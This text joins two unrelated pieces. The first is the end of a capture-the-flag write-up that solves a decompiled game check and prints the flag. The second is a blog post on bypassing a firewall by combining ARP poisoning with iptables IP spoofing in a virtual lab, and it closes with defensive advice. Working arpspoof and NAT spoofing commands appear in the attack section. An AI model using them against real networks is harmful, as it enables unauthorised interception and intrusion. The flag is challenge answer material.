Now to return to our isEcstatic method.
  public final boolean isEcstatic() {
    byte b = 0;
    int i = getState("mass", 0);
    int j = getState("happy", 0);
    int k = getState("clean", 0);
    int m = b;
    if (i == 72) {
      m = b;
      if (j == 30) {
        m = b;
        if (k == 0)
          m = 1; 
      } 
    } 
    return m;
  }


The mass needs to be 72, happy needs to be 30 and clean needs to be 0 for the method to return true. Also the ratio of feed/play needs to be between 2 and 2.5 for isHappy to return true. This means that we need to call the methods play, clean and feed in such order that these conditions are met.
To summarize how these states change:
feed -> mass +10, happy +2, clean -1
play -> mass -2, happy +4, clean -1
clean -> mass +0, happy -1, clean +6


This can be represented as a system of linear equations:
10f - 2p + 0c = 72
2f + 4p - 1c = 30
-1f -1p + 6c = 0


This is easily solvable with wolfram alpha and representing the equations as matrices:



The answer is f=8, p=4, and c=2 and the ratio feed/play is 8/4 which is 2 and satisfies the condition for isHappy.

Emulating the game and then clicking 8 times feed, 4 times play and 2 times clean gives us the flag.



The flag is:
th4t_was_be4rly_a_chall3nge@flare-on.com



Combining ARP poisoning and IP spoofing to bypass firewalls
2019-10-28T16:00:00+02:00
Introduction

Recently a colleague of mine and I had to test if there was a way to gain access to a specific network segment (let’s call it SecNet) from another network (BadNet). Of course the most basic attempts with ping and port scanning failed, because the firewall blocked everything that came from our segment, so we had to find a way to bypass the firewall.

One of the devices available in BadNet was a DNS server and this server was configured as the primary DNS in the DHCP settings. We also confirmed that other networks also used this server as their DNS, thus our hypothesis was that maybe the devices from SecNet also used the same server as their DNS. If that was the case and the firewall wasn’t configured to be restrictive enough, then the DNS server should have access to the SecNet network.

To confirm this we used ARP poisoning attack to do a man-in-the-middle (MITM) between the DNS and the gateway to see if traffic from SecNet reaches the DNS in BadNet.

It did.

Then we had to find a way to exploit this in order to reach SecNet. If we only spoofed our IP address, the return traffic would’ve been routed to the DNS server and we wouldn’t be able to receieve it. If we poisoned the ARP table of the gateway and pretended that our host was the DNS server, then the hosts from other networks wouldn’t be able to reach it and with this we would introduce a denial of service, which was not acceptable. Exploiting the server was out of scope. The only solution was to spoof our IP while simultaneously doing MITM as this would give us the opportunity to receive the return traffic of the spoofed requests.

Because we faced some problems implementing such attack and Google wasn’t helpful in finding solutions to those problems, I decided to explain what we did in this blog post.

Disclaimer:

The technique for marking the spoofed packets is not my idea. I think I saw it in a tool for bypassing 802.1x, but I can’t remember which one.

Network Topology

The network topology of my virtualized environment for the demonstration.

SecNet: 172.16.3.0/24

SecNet Sensitive Host: 172.16.3.10

BadNet: 172.16.2.0/24

BadNet DNS server: 172.16.2.10

BadNet Hacker: 172.16.2.20

Firewall: 172.16.2.2

Firewall: 172.16.3.2



In this environment the firewall is a Linux VM with a simple iptables rule which drops everything except traffic to and from the DNS server (172.16.2.10). 
Let’s test it with a simple ping:



The Attack

There are many guides which explain how to achieve MITM with ARP poisoning, so I won’t spend much time on this.
One of the first things you should do is enable routing on your host, otherwise the packets won’t be redirected to the victim.
This is easily achieved with the following command:

sysctl net.ipv4.ip_forward=1


For the actual ARP poisoning I used the arpspoof tool:
arpspoof -i eth0 -t 172.16.2.10 -r 172.16.2.2

# -i Interface
# -t Target IP
# -r Gateway IP


With this we’ve achieved MITM. The diagram below shows how the traffic flows from source to destination:



Right now if we spoof our IP and try to access SecNet the return traffic will be routed back to the DNS server which in turn will respond with TCP RST and terminate the session. This behavior is shown below:



To solve this problem we need to

  Tag our spoofed traffic somehow
  Don’t route the response of the tagged (spoofed) traffic
  Accept the tagged traffic as if it was destined to the attacker’s host


To tag the spoofed packets we could use the source tcp ports. Windows and Linux use specific port ranges for the source ports when initiating a new connection.
For Windows this can be found with the command:
netsh int ipv4 show dynamicport tcp


On my windows 10 machine the output from the above command is:
Protocol tcp Dynamic Port Range
---------------------------------
Start Port      : 49152
Number of Ports : 16384


Which means that in Windows 10 the source port range is 49152 - 65536.

On linux you can check with:
sysctl net.ipv4.ip_local_port_range


On my Kali the result is:
net.ipv4.ip_local_port_range = 32768	60999


We can use source ports from a range which is not used by our target to tag our spoofed traffic. If it’s a windows host, we can use ports outside the range 49152 - 65536 and if it’s a Linux host - source ports outside the 32768 - 60999 range,

If we don’t know the OS of the target, we can use a source port range different than the combination of both ranges. In this demonstration I’ll assume that we don’t know the OS of the target.


  The IP spoofing of the outgoing packets can be done with iptables and a NAT rule. The NAT rule would also change the source port range.
  Another NAT rule would look for a specific destination IP and destination port range in order to identify the incoming packets which are in response to the spoofed traffic. The destination IP will be changed to the local IP of the interface and the port range will be restored. That way the response to our spoofed traffic will be routed to the local host.


The diagram below shows how traffic is handled by the interface in this configuration:



And the result would be:



To implement the tagging we need to choose the source port range first. Because I assume the OS of the target is unknown, then the ports should differ from both the Windows and Linux ranges. I chose to use 20000 - 30000.
Because this range has different size (10000) than the port range of my Kali (28231) I wasn’t sure if this could lead to problems, so I also changed the source port range of the attacker host from 32768 - 60999 to 40000 - 50000.

The following commands are everything you need to accomplish all of this.
# Enable routing
sysctl net.ipv4.ip_forward=1

# Change the source port range of the attacker host
echo "40000 50000" > /proc/sys/net/ipv4/ip_local_port_range

# The outgoing packets sourced by the attacker's host (their source 
# IP is 172.16.2.20) have their source IP changed to the target 
# IP (172.16.2.10) and the source port range moved to another range.
# 
# This basically tags the outgoing traffic by spoofing the IP 
# and modifying the source ports.
iptables -t nat -A POSTROUTING -s 172.16.2.20/32 -o eth0 -p tcp -j SNAT --to-source 172.16.2.10:20000-30000

# Incoming traffic which has the target host as it's destination (172.16.2.10)
# and has destination port in the range of 20000:30000 is changed to the 
# attacker IP (172.16.2.20) and the port range is restored to 40000:50000.
# 
# This basically identifies the response of the spoofed traffic and changes
# it in order to be routed to the attacker's host.
iptables -t nat -A PREROUTING -d 172.16.2.10/32 -i eth0 -p tcp -m tcp --dport 20000:30000 -j DNAT --to-destination 172.16.2.20:40000-50000

# Start the MITM attack
sudo arpspoof -i eth0 -t 172.16.2.10 -r 172.16.2.2


Now when we test the connection to the host in the SecNet segment, a successful TCP session is established:



The firewall is successfully bypassed! This means it’s possible to launch port scans and interact with the services in the SecNet segment!

Some recommendations to prevent such attacks are:

  Use Dynamic ARP Inspection to protect from arp poisoning
  Use IP Source Guard to prevent IP spoofing
  Harden your firewall rules and permit only the necessary ports on your firewalls


References:

[1] https://superuser.com/questions/1118735/how-are-source-ports-determined-and-how-can-i-force-it-to-use-a-specific-port